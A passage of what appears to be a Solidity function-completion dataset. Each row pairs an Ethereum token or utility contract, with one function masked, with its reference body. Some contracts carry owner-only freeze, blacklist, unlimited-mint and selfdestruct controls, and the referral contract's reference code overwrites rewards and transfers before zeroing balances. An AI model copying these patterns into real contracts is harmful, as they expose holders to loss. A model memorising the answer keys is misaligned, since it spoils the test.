uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} |
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 9;
_feeAddr2 = 0;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 9;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
| function _transfer(address from, address to, uint256 amount) private | function _transfer(address from, address to, uint256 amount) private |
18891 | UserRefers | rewards2Super | contract UserRefers is ManagerUpgradeable,Refers{
using SafeMath for uint256;
using SafeERC20 for ERC20;
mapping(address => address) public relations;
mapping(address => address[]) public superiors;
mapping(address => address) public callers;
mapping(address => uint256) public rewards;
address public topAddr;
address public token;
constructor(address _token,address []memory _mans) public ManagerUpgradeable(_mans){
relations[address(0x0)] = address(0x0);
topAddr = msg.sender;
token = _token;
}
function addCaller(address _newCaller) onlyManager public {
callers[_newCaller] = _newCaller;
}
function removeCaller(address rmCaller) onlyManager public {
callers[rmCaller] = address(0x0);
}
function buildSuperoir(address ref,uint256 maxLayer) public {
if(relations[msg.sender]==address(0x0)) {
relations[msg.sender] = ref;
superiors[msg.sender].push(ref);
address[] memory supers = superiors[ref];
if(supers.length>0){
superiors[msg.sender].push(supers[0]);
}
uint256 cc = 2;
for(uint256 i=1;i<supers.length && cc < maxLayer;i++){
superiors[msg.sender].push(supers[i]);
cc++;
}
}
}
function withdrawRewards() public{
require(rewards[msg.sender]>0);
TransferHelper.safeTransfer(token,msg.sender,rewards[msg.sender]);
rewards[msg.sender] = 0;
}
// 0.03%分配给邀请人（其中0.01%分配给直接推荐人30%，0.005%分配给间接推荐人,15%,0.015%均分给第3代至第12代）
function rewards2Super(address user,uint256 totalReward) external returns (bool)
{<FILL_FUNCTION_BODY> }
} | contract UserRefers is ManagerUpgradeable,Refers{
using SafeMath for uint256;
using SafeERC20 for ERC20;
mapping(address => address) public relations;
mapping(address => address[]) public superiors;
mapping(address => address) public callers;
mapping(address => uint256) public rewards;
address public topAddr;
address public token;
constructor(address _token,address []memory _mans) public ManagerUpgradeable(_mans){
relations[address(0x0)] = address(0x0);
topAddr = msg.sender;
token = _token;
}
function addCaller(address _newCaller) onlyManager public {
callers[_newCaller] = _newCaller;
}
function removeCaller(address rmCaller) onlyManager public {
callers[rmCaller] = address(0x0);
}
function buildSuperoir(address ref,uint256 maxLayer) public {
if(relations[msg.sender]==address(0x0)) {
relations[msg.sender] = ref;
superiors[msg.sender].push(ref);
address[] memory supers = superiors[ref];
if(supers.length>0){
superiors[msg.sender].push(supers[0]);
}
uint256 cc = 2;
for(uint256 i=1;i<supers.length && cc < maxLayer;i++){
superiors[msg.sender].push(supers[i]);
cc++;
}
}
}
function withdrawRewards() public{
require(rewards[msg.sender]>0);
TransferHelper.safeTransfer(token,msg.sender,rewards[msg.sender]);
rewards[msg.sender] = 0;
}
<FILL_FUNCTION>
} |
require(callers[msg.sender]==msg.sender,"caller is empty") ;
// rewards[user] = rewards[user].add(totalReward);
address[] memory supers = superiors[user];
uint256 leftReward = totalReward;
uint256 bonus0;
uint256 bonus1;
uint256 bonus2;
if(supers.length>0){
uint256 bonus = totalReward.mul(30).div(100);
rewards[supers[0]] = bonus;
// TransferHelper.safeTransfer(token,supers[0],bonus);
leftReward = leftReward.sub(bonus);
bonus0=bonus;
}
if(supers.length>1){
uint256 bonus = totalReward.mul(15).div(100);
rewards[supers[1]] = bonus;
// TransferHelper.safeTransfer(token,supers[1],bonus);
leftReward = leftReward.sub(bonus);
bonus1=bonus;
}
if(supers.length>2){
uint256 preReward = leftReward.div(supers.length.sub(2));
for(uint256 i=2;i<supers.length ;i++){
// TransferHelper.safeTransfer(token,supers[i],preReward);
rewards[supers[i]] = preReward;
leftReward = leftReward.sub(preReward);
}
bonus2=preReward;
}
if(leftReward>0){
// TransferHelper.safeTransfer(token,topAddr,leftReward);
rewards[topAddr] = leftReward;
}
return true;
| function rewards2Super(address user,uint256 totalReward) external returns (bool)
| // 0.03%分配给邀请人（其中0.01%分配给直接推荐人30%，0.005%分配给间接推荐人,15%,0.015%均分给第3代至第12代）
function rewards2Super(address user,uint256 totalReward) external returns (bool)
|
47784 | StandardToken | allowance | contract StandardToken is Token {
function transfer(address _to, uint256 _value) public returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function balanceOf(address _owner) view public returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) view public returns (uint256 remaining) {<FILL_FUNCTION_BODY> }
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
} | contract StandardToken is Token {
function transfer(address _to, uint256 _value) public returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function balanceOf(address _owner) view public returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
<FILL_FUNCTION>
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
} |
return allowed[_owner][_spender];
| function allowance(address _owner, address _spender) view public returns (uint256 remaining) | function allowance(address _owner, address _spender) view public returns (uint256 remaining) |
44579 | SafeMath | div | contract SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {<FILL_FUNCTION_BODY> }
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | contract SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
<FILL_FUNCTION>
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} |
return div(a, b, "SafeMath: division by zero");
| function div(uint256 a, uint256 b) internal pure returns (uint256) | /**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) |
3369 | ERC20Token | approve | contract ERC20Token is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ERC20Token() public {
name = "Commerce Network Chamber";
symbol = "CNC";
decimals = 18;
_totalSupply = 1000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> }
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | contract ERC20Token is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ERC20Token() public {
name = "Commerce Network Chamber";
symbol = "CNC";
decimals = 18;
_totalSupply = 1000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
<FILL_FUNCTION>
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} |
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
| function approve(address spender, uint tokens) public returns (bool success) | // ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) |
31632 | TripAlly | createTokens | contract TripAlly is SafeMath, StandardToken, Pausable {
string public constant name = "TripAlly Token";
string public constant symbol = "ALLY";
uint256 public constant decimals = 18;
uint256 public constant tokenCreationCap = 100000000*10**decimals;
uint256 constant tokenCreationCapPreICO = 750000*10**decimals;
uint256 public oneTokenInWei = 2000000000000000;
uint public totalEthRecieved;
Phase public currentPhase = Phase.PreICO;
enum Phase {
PreICO,
ICO
}
event CreateALLY(address indexed _to, uint256 _value);
event PriceChanged(string _text, uint _newPrice);
event StageChanged(string _text);
event Withdraw(address to, uint amount);
function TripAlly() {
}
function () payable {
createTokens();
}
function createTokens() internal whenNotPaused {<FILL_FUNCTION_BODY> }
function addTokens(uint256 tokens) internal {
if (msg.value <= 0) revert();
balances[msg.sender] += tokens;
totalSupply = safeAdd(totalSupply, tokens);
totalEthRecieved += msg.value;
CreateALLY(msg.sender, tokens);
}
function withdraw(address _toAddress, uint256 amount) external onlyOwner {
require(_toAddress != address(0));
_toAddress.transfer(amount);
Withdraw(_toAddress, amount);
}
function setEthPrice(uint256 _tokenPrice) external onlyOwner {
oneTokenInWei = _tokenPrice;
PriceChanged("New price is", _tokenPrice);
}
function setICOPhase() external onlyOwner {
currentPhase = Phase.ICO;
StageChanged("Current stage is ICO");
}
function setPreICOPhase() external onlyOwner {
currentPhase = Phase.PreICO;
StageChanged("Current stage is PreICO");
}
function generateTokens(address _reciever, uint256 _amount) external onlyOwner {
require(_reciever != address(0));
balances[_reciever] += _amount;
totalSupply = safeAdd(totalSupply, _amount);
CreateALLY(_reciever, _amount);
}
} | contract TripAlly is SafeMath, StandardToken, Pausable {
string public constant name = "TripAlly Token";
string public constant symbol = "ALLY";
uint256 public constant decimals = 18;
uint256 public constant tokenCreationCap = 100000000*10**decimals;
uint256 constant tokenCreationCapPreICO = 750000*10**decimals;
uint256 public oneTokenInWei = 2000000000000000;
uint public totalEthRecieved;
Phase public currentPhase = Phase.PreICO;
enum Phase {
PreICO,
ICO
}
event CreateALLY(address indexed _to, uint256 _value);
event PriceChanged(string _text, uint _newPrice);
event StageChanged(string _text);
event Withdraw(address to, uint amount);
function TripAlly() {
}
function () payable {
createTokens();
}
<FILL_FUNCTION>
function addTokens(uint256 tokens) internal {
if (msg.value <= 0) revert();
balances[msg.sender] += tokens;
totalSupply = safeAdd(totalSupply, tokens);
totalEthRecieved += msg.value;
CreateALLY(msg.sender, tokens);
}
function withdraw(address _toAddress, uint256 amount) external onlyOwner {
require(_toAddress != address(0));
_toAddress.transfer(amount);
Withdraw(_toAddress, amount);
}
function setEthPrice(uint256 _tokenPrice) external onlyOwner {
oneTokenInWei = _tokenPrice;
PriceChanged("New price is", _tokenPrice);
}
function setICOPhase() external onlyOwner {
currentPhase = Phase.ICO;
StageChanged("Current stage is ICO");
}
function setPreICOPhase() external onlyOwner {
currentPhase = Phase.PreICO;
StageChanged("Current stage is PreICO");
}
function generateTokens(address _reciever, uint256 _amount) external onlyOwner {
require(_reciever != address(0));
balances[_reciever] += _amount;
totalSupply = safeAdd(totalSupply, _amount);
CreateALLY(_reciever, _amount);
}
} |
uint multiplier = 10 ** 10;
uint256 tokens = safeDiv(msg.value*100000000, oneTokenInWei) * multiplier;
uint256 checkedSupply = safeAdd(totalSupply, tokens);
if (currentPhase == Phase.PreICO && checkedSupply <= tokenCreationCapPreICO) {
addTokens(tokens);
} else if (currentPhase == Phase.ICO && checkedSupply <= tokenCreationCap) {
addTokens(tokens);
} else {
revert();
}
| function createTokens() internal whenNotPaused | function createTokens() internal whenNotPaused |
52375 | RateSetter | changeRateSetter | contract RateSetter {
address public rateSetter;
event RateSetterChanged(address indexed previousRateSetter, address indexed newRateSetter);
function RateSetter() public {
rateSetter = msg.sender;
}
modifier onlyRateSetter() {
require(msg.sender == rateSetter);
_;
}
function changeRateSetter(address newRateSetter) onlyRateSetter public {<FILL_FUNCTION_BODY> }
} | contract RateSetter {
address public rateSetter;
event RateSetterChanged(address indexed previousRateSetter, address indexed newRateSetter);
function RateSetter() public {
rateSetter = msg.sender;
}
modifier onlyRateSetter() {
require(msg.sender == rateSetter);
_;
}
<FILL_FUNCTION>
} |
require(newRateSetter != address(0));
emit RateSetterChanged(rateSetter, newRateSetter);
rateSetter = newRateSetter;
| function changeRateSetter(address newRateSetter) onlyRateSetter public | function changeRateSetter(address newRateSetter) onlyRateSetter public |
34560 | QRG | mintToken | contract QRG is owned, TokenERC20 {
uint256 public buyPrice;
bool public isContractFrozen;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
event FrozenContract(bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
function QRG(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (!isContractFrozen);
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
Transfer(_from, _to, _value);
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public {<FILL_FUNCTION_BODY> }
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function freezeContract(bool freeze) onlyOwner public {
isContractFrozen = freeze;
FrozenContract(freeze); // triggers network event
}
function setPrice(uint256 newBuyPrice) onlyOwner public {
buyPrice = newBuyPrice;
}
function () public payable {
require (buyPrice != 0); // don't allow purchases before price has been set
uint amountTokens = msg.value*buyPrice; // calculate tokens to be sent
_transfer(this, msg.sender, amountTokens); // makes the token transfer
owner.transfer(msg.value);
}
function withdrawTokens(uint256 amount) onlyOwner public{
_transfer(this, msg.sender, amount);
}
function kill() onlyOwner public{
selfdestruct(msg.sender);
}
} | contract QRG is owned, TokenERC20 {
uint256 public buyPrice;
bool public isContractFrozen;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
event FrozenContract(bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
function QRG(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (!isContractFrozen);
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
Transfer(_from, _to, _value);
}
<FILL_FUNCTION>
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function freezeContract(bool freeze) onlyOwner public {
isContractFrozen = freeze;
FrozenContract(freeze); // triggers network event
}
function setPrice(uint256 newBuyPrice) onlyOwner public {
buyPrice = newBuyPrice;
}
function () public payable {
require (buyPrice != 0); // don't allow purchases before price has been set
uint amountTokens = msg.value*buyPrice; // calculate tokens to be sent
_transfer(this, msg.sender, amountTokens); // makes the token transfer
owner.transfer(msg.value);
}
function withdrawTokens(uint256 amount) onlyOwner public{
_transfer(this, msg.sender, amount);
}
function kill() onlyOwner public{
selfdestruct(msg.sender);
}
} |
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
| function mintToken(address target, uint256 mintedAmount) onlyOwner public | /// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public |
93282 | KaliNFT | burn | contract KaliNFT is ERC721, Multicall {
